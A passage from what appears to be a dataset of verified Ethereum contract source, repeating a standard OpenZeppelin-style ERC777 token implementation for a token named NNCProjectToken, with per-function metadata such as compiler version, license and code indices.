/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | granularity | function granularity() public view returns (uint256) {
return 1;
}
| /**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
2930,
3015
]
} | 59,933 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
private
{
address implementer = _erc1820.getInterfaceImplementer(from, TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
private
{
address implementer = _erc1820.getInterfaceImplementer(to, TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implement for ERC777TokensRecipient");
}
}
} | /**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() public view returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {IERC777-totalSupply}.
*/ | NatSpecMultiLine | v0.5.0+commit.1d4f565a | MIT | bzzr://c1bab4b5e3e40f4294e652b388dfc625ccf21445b4e184e78b601a51d58a2cc2 | {
"func_code_index": [
3076,
3172
]
} | 59,934 |
NNCProjectToken | patterns\token\ERC777\ERC777.sol | 0xa67462ff3314c682277771ae2bbcec08877c877a | Solidity | ERC777 | contract ERC777 is Context, IERC777, IERC20 {
using SafeMath for uint256;
using Address for address;
IERC1820Registry constant internal _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
// We inline the result of the following hashes because Solidity doesn't resolve them at compile time.
// See https://github.com/ethereum/solidity/issues/4024.
// keccak256("ERC777TokensSender")
bytes32 constant private TOKENS_SENDER_INTERFACE_HASH =
0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895;
// keccak256("ERC777TokensRecipient")
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
constructor(
string memory name,
string memory symbol,
address[] memory defaultOperators
) public {
_name = name;
_symbol = symbol;
_defaultOperatorsArray = defaultOperators;
for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) {
_defaultOperators[_defaultOperatorsArray[i]] = true;
}
// register interfaces
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_erc1820.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20Detailed-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function send(address recipient, uint256 amount, bytes calldata data) external {
_send(_msgSender(), _msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes calldata data) external {
_burn(_msgSender(), _msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(
address operator,
address tokenHolder
) public view returns (bool) {
return operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) external {
_authorizeOperator(operator);
}
function _authorizeOperator(address operator) internal {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) external {
_revokeOperator(operator);
}
function _revokeOperator(address operator) internal {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
)
external
{
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(_msgSender(), sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {Transfer} events.
*/
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(_msgSender(), account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) external returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {Transfer} and {Approval} events.
*/
function transferFrom(address holder, address recipient, uint256 amount) external returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
_approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance"));
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address operator,
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
require(account != address(0), "ERC777: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param operator address operator requesting the operation
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address operator,
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
)
internal
{
require(from != address(0), "ERC777: burn from the zero address");
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
// Update state variables
_balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
)
internal
{
_balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
// TODO: restore this require statement if this function becomes internal, or is called at a new callsite. It is
// currently unnecessary.
//require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
